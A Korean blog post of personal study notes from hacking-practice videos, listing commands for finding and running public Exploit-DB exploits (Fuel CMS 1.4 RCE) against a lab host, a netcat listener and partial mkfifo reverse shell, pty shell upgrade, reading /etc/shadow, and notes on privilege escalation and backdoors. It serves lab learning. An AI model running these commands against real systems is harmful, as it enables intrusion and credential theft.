정보보안기사/linux

손으로 배우는 해킹 study

멋쟁이천재사자 2023. 6. 24. 22:13

노말틱님 유튜브 영상 보며 실습해보았습니다.

 

https://youtu.be/S7izO4TOhBs

 


#3 ~ #5 편 실습하며 메모. Oracle Virtual Box 세팅이 제대로 안되 실습이 불편함...

 

https://www.exploit-db.com/
searchsploit

searchsploit Fuel CMS 1.4
Remote Code Execution

 

ls -l /usr/share/exploitdb/exploits/
ls -l /usr/share/exploitdb/exploits/linux/webapps/47138.py

find / -name 47138.py
find / -name 47138.py 2 > /dev/null
-- 오류 왜?
-- find: paths must precede expression: '2'

find / -name 47138.py 2> /dev/null


python exploit.py
ruby exploit.rb

gcc exploit.c -o exploit
exploit

cp /usr/share/exploitdb/exploits/linux/webapps/47138.py exploit.py
cp /usr/share/exploitdb/exploits/php/webapps/49487.rb exploit2.rb
cp /usr/share/exploitdb/exploits/php/webapps/50477.rb exploit3.rb

python exploit.py
python2 exploit.py

ruby exploit2.rb
gem install docopt

ruby exploit2.r http://10.10.133.148/ id

python2 exploit3.py
-- 오류
python exploit3.py

웹쉘 1회용 쉘

리버스 쉡
바인드 쉘
python -c "import pty;pty.spawn('/bin/bash')"

echo **** root rm /tmp/f;mkfifo /tmp

nc -nlvp 9999
cat /etc/shadow


googling
reverse shell cheat sheet
linux nc mkfifo 선택

권한 상승 / 백도어 설치

cat /etc/passwd | grep sh
일반 계정이 있으면 일반 계정 해킹하고 권한상승하려했는데...

 

database.php
python -c "import pty;pty.spawn(''bin/bash')"

googling
os version exploit
privilege escalation